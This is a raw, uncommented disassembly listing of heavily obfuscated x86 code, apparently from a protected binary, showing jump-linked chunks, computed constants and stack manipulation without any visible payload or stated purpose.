
loc_58D064:				; CODE XREF: sdfs____:00598B9Fj
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_5971B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58D06E:				; CODE XREF: sub_591435-123j
		jmp	loc_58BB1D
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58D073:				; CODE XREF: sdfs____:00596167j
		xor	edx, [esp]
		pop	esp
		jmp	loc_58D86B
; ---------------------------------------------------------------------------


loc_58D07C:				; CODE XREF: sdfs____:00596391j
		jmp	loc_590869
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58D081:				; CODE XREF: sub_591435+6EFEj
		sub	ebx, edi
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		push	edi
		mov	edi, ebx
		push	edx
		mov	edx, edi
		mov	esi, edx
		pop	edx
		pop	edi
		mov	ebx, [esp+10h+var_10]
		jmp	loc_594513
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58D09E:				; CODE XREF: sub_5941BD-779Cj
		xor	edx, 4C573361h
		jmp	loc_58D89F
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58D0A9:				; CODE XREF: sub_5917C0-1CC8j
		jp	loc_597BB4
		neg	ebx
		jmp	loc_595F67
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58D0B6:				; CODE XREF: sub_591435+10A5j
		pop	ecx
		pop	ecx
		xchg	edi, [esp+0Eh+var_10+2]
		mov	esp, [esp+0Eh+var_10+2]
		push	466Eh
		jmp	loc_58BBFF
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_58D0C8:				; CODE XREF: sub_5BB696-25D50j
		sub	edi, edx
		sub	edi, 5F7463CDh
		jmp	loc_591300
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D3F


loc_58D0D5:				; CODE XREF: sub_592D3F+Ej
		add	ecx, 273A63EFh
		shr	ecx, 8
		jmp	sub_58D925
; END OF FUNCTION CHUNK	FOR sub_592D3F
; ---------------------------------------------------------------------------


loc_58D0E3:				; CODE XREF: sdfs____:00596669j
		push	esp
		pop	esi
		jmp	loc_596FDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_58D0EA:				; CODE XREF: sub_5985AE-4953j
		push	451F15E5h
		pop	edi
		push	edi
		xchg	ebx, [esp+0]
		not	ebx
		xchg	ebx, [esp+0]
		pop	edi
		add	edi, 451F15E7h
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], edi
		push	edi
		push	ebx
		mov	ebx, 1F912E8Dh
		not	ebx
		xor	ebx, 0DA7CADAEh
		jmp	loc_5943F7
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58D127:				; CODE XREF: sub_594228-382Ej
		push	[esp+1Eh+var_20+2]
		mov	edi, [esp+22h+var_24+2]
		add	esp, 4
		add	esp, 4
		add	ebx, eax
		jmp	loc_58EC59
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58D140:				; CODE XREF: sdfs____:0058FAA6j
		xor	edi, 2E426FA8h
		add	edi, 75A77B0h
		jmp	loc_58E3E6
; ---------------------------------------------------------------------------


loc_58D151:				; CODE XREF: sdfs____:0058FCC6j
		mov	ecx, 72463B6h
		not	ecx
		jmp	loc_58BB7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58D15D:				; CODE XREF: sub_5917C0-3FD8j
					; sdfs____:00590B84j ...
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp+4+var_4]
		pop	esp
		jmp	loc_58D43F
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_58D16E:				; CODE XREF: sub_5987BC-C86Cj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], eax
		not	[esp-4+arg_0]
		jmp	loc_59689F
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E146


loc_58D188:				; CODE XREF: sub_58E146+2861j
		pop	ebp
		add	ebp, 4
		jmp	sub_592853
; END OF FUNCTION CHUNK	FOR sub_58E146
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CDE6


loc_58D194:				; CODE XREF: sub_58CDE6+5463j
		dec	edi
		jmp	loc_594947
; END OF FUNCTION CHUNK	FOR sub_58CDE6
; ---------------------------------------------------------------------------


loc_58D19A:				; CODE XREF: sdfs____:0058E707j
		sub	ebx, 29567427h
		sub	ebx, 14BF592Bh
		add	eax, ebx
		pop	ebx
		push	edi
		mov	edi, 2
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 28C53803h
		push	edi
		jmp	loc_592FF4
; ---------------------------------------------------------------------------


loc_58D1C0:				; CODE XREF: sdfs____:0058DE7Ej
		jnz	loc_597332
		jmp	loc_591FCB
; ---------------------------------------------------------------------------
		sub	ebx, 9F073A6Bh


loc_58D1D1:				; CODE XREF: sdfs____:005968F3j
		xor	edi, 309C407Fh
		xchg	eax, edi
		xchg	eax, edi
		jmp	loc_58D904
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58D1DE:				; CODE XREF: sub_5917C0-2C3Fj
		mov	eax, esp
		add	eax, 4
		jmp	loc_58FDE4
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58D1EA:				; CODE XREF: sdfs____:0058FE8Fj
		pop	ebp
		shr	ebp, 8
		jp	loc_595EEB
		jmp	loc_59502C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58D1F9:				; CODE XREF: sub_591435+19Ej
					; sdfs____:005952F1j
		add	al, bl
		push	ecx
		mov	cl, 63h
		jmp	loc_597A70
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FE3C


loc_58D203:				; CODE XREF: sub_58FE3C+2689j
		mov	ecx, 15954C06h
		push	edi
		mov	edi, 669126B1h
		sub	edi, 1030A60h
		xor	edi, 7BCFEF92h
		add	ecx, edi
		pop	edi
		mov	esi, ecx
		pop	ecx
		sub	ecx, esi
		pop	esi
		mov	edi, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_58BCC6
; END OF FUNCTION CHUNK	FOR sub_58FE3C
; ---------------------------------------------------------------------------


loc_58D231:				; CODE XREF: sdfs____:00591A14j
		xor	esi, 210A420Ch
		mov	ebp, esi
		pop	esi
		xor	ebp, 71570841h
		jmp	loc_58EEB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597CE3


loc_58D245:				; CODE XREF: sub_597CE3+44j
		pop	dword ptr [edi+24h]


loc_58D248:				; CODE XREF: sub_5934D7+4BA7j
		push	0CF5h
		jmp	loc_597812
; END OF FUNCTION CHUNK	FOR sub_597CE3
; ---------------------------------------------------------------------------


loc_58D252:				; CODE XREF: sdfs____:00594FFCj
		sub	esp, 4
		mov	[esp], ebx
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		push	1848h
		mov	[esp], ebx
		jmp	loc_59475D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_58D26E:				; CODE XREF: sub_5987BC-ADEj
		xor	al, bh
		mov	bx, word ptr [esp-4+arg_0]
		add	esp, 2
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], edx
		sub	esp, 4
		mov	[esp-4+arg_0], ebx
		sub	esp, 4
		mov	[esp+0], ecx
		mov	cl, 0C3h
		mov	bl, 0C7h
		xor	bl, cl
		jmp	loc_58ECA6
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58D2AD:				; CODE XREF: sub_591370+171j
		add	esp, 4
		not	esi
		inc	esi
		push	ecx
		jmp	loc_58CA26
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_58D2B9:				; CODE XREF: sdfs____:005916A0j
		mov	[esp], ebp
		mov	ebp, 78093DE4h
		jmp	loc_58F03F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_58D2C6:				; CODE XREF: sub_59587A+3243j
		pop	ebp
		neg	esi
		sub	esi, 29694E46h
		push	ebp
		mov	ebp, 0E979B469h
		add	esi, ebp
		pop	ebp
		jmp	loc_58B9CB
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------


loc_58D2DD:				; CODE XREF: sdfs____:00596537j
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_593506
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58D2F5:				; CODE XREF: sub_594228+2A4Bj
		inc	ebx
		and	ebx, 25C047D0h
		sub	ebx, 0B5EBCF22h
		xor	eax, ebx
		mov	ebx, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58D312:				; CODE XREF: sdfs____:0058EF35j
		push	ecx
		mov	cl, 21h
		jmp	loc_598882
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58D31A:				; CODE XREF: sub_594228-78FAj
		add	edx, eax
		jmp	loc_595318
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58D321:				; CODE XREF: sdfs____:00596D84j
		sub	bl, 9Dh
		add	bl, ah
		add	bl, 9Dh
		jmp	loc_58DB03
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_58D32E:				; CODE XREF: sub_5987BC-6D1Cj
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59214E


loc_58D333:				; CODE XREF: sub_59214E-570Cj
		add	edx, esi
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		push	ebx
		mov	ebx, 171A6C26h
		not	ebx
		dec	ebx
		xor	ebx, 7A04348Bh
		inc	ebx
		not	ebx
		add	ebx, 0AD72A978h
		add	ecx, ebx
		pop	ebx
		jmp	loc_59295F
; END OF FUNCTION CHUNK	FOR sub_59214E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BAD7


loc_58D35B:				; CODE XREF: sub_58BAD7+66ACj
		jmp	loc_590E23
; END OF FUNCTION CHUNK	FOR sub_58BAD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592853


loc_58D360:				; CODE XREF: sub_592853-439j
		add	ebx, 2AA76CFh
		sub	ebx, 3F190A41h
		mov	[ebx], edx
		pop	ebx
		pop	ecx
		jmp	loc_5908AC
; END OF FUNCTION CHUNK	FOR sub_592853
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59214E


loc_58D375:				; CODE XREF: sub_59214E:loc_595C55j
		inc	edx
		jp	loc_592232
		not	edx
		inc	edx
		jmp	loc_58BC5C
; END OF FUNCTION CHUNK	FOR sub_59214E
; ---------------------------------------------------------------------------
		push	ecx
		pushf
		mov	dh, 0FBh
		mov	esi, ebp
; START	OF FUNCTION CHUNK FOR sub_58EC13


loc_58D38A:				; CODE XREF: sub_58EC13+8B16j
		push	edi
		mov	edi, 57802E64h
		or	edi, 5C7B4109h
		xor	edi, 50E0090Bh
		push	ecx
		mov	ecx, 668C032Dh
		xor	ecx, 670E26D1h
		and	ecx, 0DE56B6Bh
		xchg	ebp, ecx
		inc	ebp
		xchg	ebp, ecx
		sub	ecx, 6BEE73F0h
		sub	ecx, 0A4AD13E0h
		xor	edi, ecx
		pop	ecx
		mov	esi, edi
		mov	edi, [esp+4+var_4]
		push	edi
		jmp	loc_595B37
; END OF FUNCTION CHUNK	FOR sub_58EC13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59576E


loc_58D3CD:				; CODE XREF: sub_59576E+1j
		mov	ebp, 0C4825A0h
		jmp	loc_5969AB
; END OF FUNCTION CHUNK	FOR sub_59576E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59666E


loc_58D3D7:				; CODE XREF: sub_59666E-6F2Aj
		sub	ebp, esi
		add	ebp, 5FBA44B1h
		push	[esp+8+var_8]
		mov	esi, [esp+0Ch+var_C]
		jmp	loc_5947EC
; END OF FUNCTION CHUNK	FOR sub_59666E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_58D3EA:				; CODE XREF: sub_5985AE-66AAj
		add	[esp+arg_4], ebp
		push	ecx
		mov	ecx, 509E494Ah
		add	[esp+4+arg_4], ecx
		pop	ecx
		pop	ebp
		jmp	loc_59595F
; ---------------------------------------------------------------------------


loc_58D3FF:				; CODE XREF: sub_5985AE-6D3Aj
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		add	ebx, 644B1A2Eh
		sub	ebx, ecx
		push	edx
		mov	edx, 596A1A0Ch
		jmp	loc_5935E5
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------


loc_58D418:				; CODE XREF: sdfs____:00590E1Ej
		pop	ebp
		mov	[ebx], al
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_594BE5
; ---------------------------------------------------------------------------


loc_58D439:				; CODE XREF: sdfs____:005927E5j
		pop	eax
		jmp	loc_596B64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58D43F:				; CODE XREF: sub_591435-42CCj
					; sdfs____:0059287Aj
		push	eax
		mov	eax, 4502F3Eh
		shl	eax, 3
		sub	eax, 31400315h
		jmp	loc_591E39
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58D452:				; CODE XREF: sub_594228+1A1Dj
		add	ebp, 4D0CC23h
		jmp	loc_58C373
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58D45D:				; CODE XREF: sdfs____:00597B1Cj
		add	edi, 23DD538Dh
		add	edi, ebx
		push	ebx
		mov	ebx, 6AEC028Eh
		add	ebx, 188F3EC4h
		add	ebx, 0A062123Bh
		sub	edi, ebx
		pop	ebx
		jmp	loc_598B9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58D47F:				; CODE XREF: sub_594228-7EB3j
		pop	ebp
		add	ebx, 45D1232Fh
		shl	ebx, 4
		jmp	loc_58F1FC
; ---------------------------------------------------------------------------


loc_58D48E:				; CODE XREF: sub_594228-E1Ej
		neg	esi
		push	ebp
		mov	ebp, 6280666Bh
		sub	esi, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_5915F9
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58D4B3:				; CODE XREF: sdfs____:00593EF6j
		mov	edi, ebp
		pop	ebp
		pop	ebx
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_591466
; ---------------------------------------------------------------------------


loc_58D4CA:				; CODE XREF: sdfs____:loc_58C6B5j
					; sdfs____:00596833j
		pop	edi
		jmp	loc_58CBCB
; ---------------------------------------------------------------------------


loc_58D4D0:				; CODE XREF: sdfs____:0059009Bj
		push	0D372C84h
		pop	ebx
		sub	ebx, 18D570C1h
		jmp	loc_593C9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_58D4E1:				; CODE XREF: sdfs____:0059116Bj
					; sub_59841F-416Bj
		pop	esp
		mov	[esp-4+arg_0], ecx
		mov	ecx, esp
		push	edx
		jmp	loc_59725B
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_58D4ED:				; CODE XREF: sdfs____:00598239j
		mov	al, bl
		mov	ch, al
		mov	eax, [esp]
		add	esp, 4
		push	eax
		jmp	loc_58EDE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58D500:				; CODE XREF: sub_591435+486Fj
		add	esp, 4
		and	eax, ebp
		push	[esp+0Ch+var_C]
		pop	ebp
		push	edx
		jmp	loc_58F173
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58D50F:				; CODE XREF: sdfs____:005971A7j
		pop	ebx
		shl	cl, 3
		not	cl
		sub	cl, 0ECh
		push	20C5h
		mov	[esp], edx
		mov	dh, 0B3h
		shr	dh, 5
		add	dh, 12h
		sub	cl, dh
		pop	edx
		sub	al, cl
		pop	ecx
		pop	ecx
		sub	esp, 2
		jmp	loc_590508
; ---------------------------------------------------------------------------


loc_58D53A:				; CODE XREF: sdfs____:loc_5901BEj
		push	ebp
		mov	ebp, 0E1A6CCCh
		dec	ebp
		jnp	loc_58E663
		neg	ebp
		jz	loc_598A58
		inc	ebp
		jmp	loc_590DB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58D555:				; CODE XREF: sub_594228+193Bj
		or	esi, 5C7957C6h
		sub	esi, 31791074h
		jmp	loc_590846
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58D566:				; CODE XREF: sdfs____:00595998j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	small 44BEh
		mov	[esp], bx
		mov	bl, 0BAh
		xor	al, bl
		mov	bx, [esp]
		jmp	loc_595896
; ---------------------------------------------------------------------------


loc_58D582:				; CODE XREF: sdfs____:005973E4j
		add	esi, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_58CB52
; ---------------------------------------------------------------------------
		push	264Ah
		mov	[esp], ebp
		push	531F18ECh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	edi
		jmp	loc_5945E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591AD9


loc_58D5B9:				; CODE XREF: sub_591AD9+329Cj
		not	esi
		push	eax
		jmp	loc_5959A2
; END OF FUNCTION CHUNK	FOR sub_591AD9
; ---------------------------------------------------------------------------
		push	dword ptr [edi+38h]
		push	ebx
		jmp	loc_58DF3F
; ---------------------------------------------------------------------------


loc_58D5CA:				; CODE XREF: sdfs____:005974E2j
		xor	edx, ebx
		jmp	loc_596E6B
; ---------------------------------------------------------------------------


loc_58D5D1:				; CODE XREF: sdfs____:0058C359j
		mov	[esp], ecx
		push	eax
		mov	ah, dl
		push	edx
		jmp	loc_594986
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E146


loc_58D5DD:				; CODE XREF: sub_58E146+50DAj
		add	[esp+8+var_8], 4
		pop	edx
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xor	edx, [esp+4+var_4]
		xor	[esp+4+var_4], edx
		xor	edx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		sub	esp, 4
		mov	[esp+0], ebp
		sub	esp, 4
		push	1F63h
		jmp	loc_59098B
; END OF FUNCTION CHUNK	FOR sub_58E146
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58D610:				; CODE XREF: sub_591435+12CDj
		xor	[esp+0Ch+var_C], edi
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		xor	eax, ebp
		xor	ebp, eax
		jmp	loc_5957EE
; ---------------------------------------------------------------------------


loc_58D625:				; CODE XREF: sub_591435-2032j
		or	esi, 1BB73311h
		jmp	loc_5987F3
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_58D630:				; CODE XREF: sub_5BB696-2F2A5j
		pop	ecx
		xor	ecx, 4E177480h
		jnz	loc_5948DB
		not	ecx
		neg	ecx
		jnz	loc_59553C
		pop	ebp
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp+16h+var_16], eax
		pushf
		jmp	loc_58F512
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------


loc_58D656:				; CODE XREF: sdfs____:0058C2F8j
		add	al, 0D8h
		add	al, 36h
		add	al, 0A3h
		sub	esp, 4
		jmp	loc_59811F
; ---------------------------------------------------------------------------


loc_58D667:				; CODE XREF: sdfs____:00591E2Cj
		neg	eax
		jmp	loc_59693D
; ---------------------------------------------------------------------------


loc_58D66E:				; CODE XREF: sdfs____:0059010Ej
		sub	bl, 1
		add	dh, 92h
		sub	dh, bl
		sub	dh, 92h
		mov	ebx, [esp]
		add	esp, 4
		sub	al, dh
		jmp	loc_58BCD7
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		jmp	loc_593517
; ---------------------------------------------------------------------------


loc_58D693:				; CODE XREF: sdfs____:00590F74j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_595B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58D69E:				; CODE XREF: sub_5941BD+252Fj
		add	edx, 4
		push	ebx
		push	ebp
		mov	ebp, 4
		mov	ebx, ebp
		pop	ebp
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp+18h+var_18]
		pop	esp
		jmp	loc_593BC7
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_58D6BA:				; CODE XREF: sdfs____:00593232j
		push	ecx
		mov	ch, 0C0h
		push	ebx
		jmp	loc_590517
; ---------------------------------------------------------------------------


loc_58D6C3:				; CODE XREF: sdfs____:00590DACj
		add	eax, ecx
		pop	ecx
		add	eax, ecx
		sub	eax, 4F9E0E43h
		jmp	loc_58EFA5
; ---------------------------------------------------------------------------


loc_58D6D2:				; CODE XREF: sdfs____:0058F301j
		push	edx
		mov	edx, 36B329CEh
		and	edi, edx
		pop	edx
		jmp	loc_58EB38
; ---------------------------------------------------------------------------


loc_58D6E0:				; CODE XREF: sdfs____:00597DB6j
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58D6E9:				; CODE XREF: sub_591370+16D6j
		pop	eax
		push	edx
		push	edi
		mov	edi, 0DC17751h
		inc	edi
		jno	loc_5977D8
		or	edi, 69186677h
		mov	ah, 9Ah
		pop	ebx
; END OF FUNCTION CHUNK	FOR sub_591370
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58D702:				; CODE XREF: sub_591435+24EAj
		mov	esp, [esp+0Ch+var_C]
		or	eax, eax
		jz	loc_5981E4
		push	dword ptr [edi+1Ch]
		sub	[esp+4+var_4], 44F577AAh
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		sub	esp, 4
		jmp	loc_594089
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58D728:				; CODE XREF: sub_591370-2D71j
		mov	ebx, 4B195F78h
		dec	ebx
		not	ebx
		push	esi
		mov	esi, 4AAE0EE0h
		and	ebx, esi
		pop	esi
		xor	ebx, 0A600A4h
		jmp	loc_5976FE
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58D744:				; CODE XREF: sub_5917C0+58ABj
		mov	[esp-8+arg_4], ebp
		push	ebx
		jmp	loc_5957CE
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58D74D:				; CODE XREF: sub_5941BD-9A5j
		shl	ebx, 6
		push	edi
		mov	edi, 5758763Fh
		and	edi, 744B4DF4h
		add	edi, 0F837C6D0h
		add	ebx, edi
		pop	edi
		add	esi, ebx
		pop	ebx
		push	edx
		mov	edx, 4
		sub	esi, 50FE07C6h
		jmp	loc_597AA0
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58D779:				; CODE XREF: sub_591435+6914j
		pop	ebp
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5966F1
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58D796:				; CODE XREF: sdfs____:00598888j
		push	ebx
		mov	bh, 3Dh
		jmp	loc_5971A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58D79E:				; CODE XREF: sub_591435-2691j
					; sub_591370+7161j
		sub	ecx, 4C094209h
		jnp	loc_59678D
		xor	ecx, 0DB34B7B1h
		mov	edi, ecx
		jmp	loc_590FE7
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_59384D
; ---------------------------------------------------------------------------


loc_58D7BF:				; CODE XREF: sdfs____:00593D4Ej
		xor	edi, 0A3B6D3B4h
		mov	ebp, edi
		jmp	loc_58EB71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58D7CC:				; CODE XREF: sub_5941BD+38EBj
		and	edx, 700405F6h
		shr	edx, 8
		xor	edx, 367018F9h
		not	edx
		jmp	loc_5965E3
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58D7E2:				; CODE XREF: sub_5917C0+6FD7j
		xor	esi, 1C6A70E6h
		jns	loc_58D15D
		not	esi
		push	ebx
		jmp	loc_596C2C
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58D7F6:				; CODE XREF: sdfs____:0058BC29j
		sub	edx, 6BC973E8h
		jmp	loc_595EBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_58D801:				; CODE XREF: sub_5BB696-23879j
		xchg	eax, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		mov	[esp+1Ah+var_1C+2], ecx
		mov	ch, 24h
		sub	esp, 4
		jmp	loc_5954DE
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------


loc_58D817:				; CODE XREF: sdfs____:0058F607j
		mov	edi, esp
		jmp	loc_595A4C
; ---------------------------------------------------------------------------


loc_58D81E:				; CODE XREF: sdfs____:00598DB1j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_596800
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58D831:				; CODE XREF: sub_591370+5BF5j
		pop	ebp
		jmp	loc_593857
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_58D837:				; CODE XREF: sdfs____:0059761Ej
		and	edi, 31ED6EACh
		jmp	loc_596A1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58D842:				; CODE XREF: sub_591370+50A6j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-8+arg_4]
		pop	esp
		jmp	loc_59005E
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_58D854:				; CODE XREF: sdfs____:00594C7Dj
		push	esi
		jmp	loc_590DCE
; ---------------------------------------------------------------------------


loc_58D85A:				; CODE XREF: sdfs____:00591592j
		pop	esp
		div	cl
		movzx	cx, ah
		push	3093h
		jmp	loc_58EE38
; ---------------------------------------------------------------------------


loc_58D86B:				; CODE XREF: sdfs____:0058D077j
		push	esp
		pop	dword ptr [esp]
		push	ebx
		jmp	loc_59870C
; ---------------------------------------------------------------------------


loc_58D875:				; CODE XREF: sdfs____:0058E9A2j
		sub	edx, 17470DBAh
		add	edx, eax
		add	edx, 17470DBAh
		pop	eax
		xchg	edx, [esp]
		pop	esp
		push	3E4Fh
		jmp	loc_5952B1
; ---------------------------------------------------------------------------


loc_58D892:				; CODE XREF: sdfs____:00596331j
		mov	esi, edi
		pop	edi
		jmp	loc_58F270
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_58D89A:				; CODE XREF: sub_59587A-3E85j
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_59587A
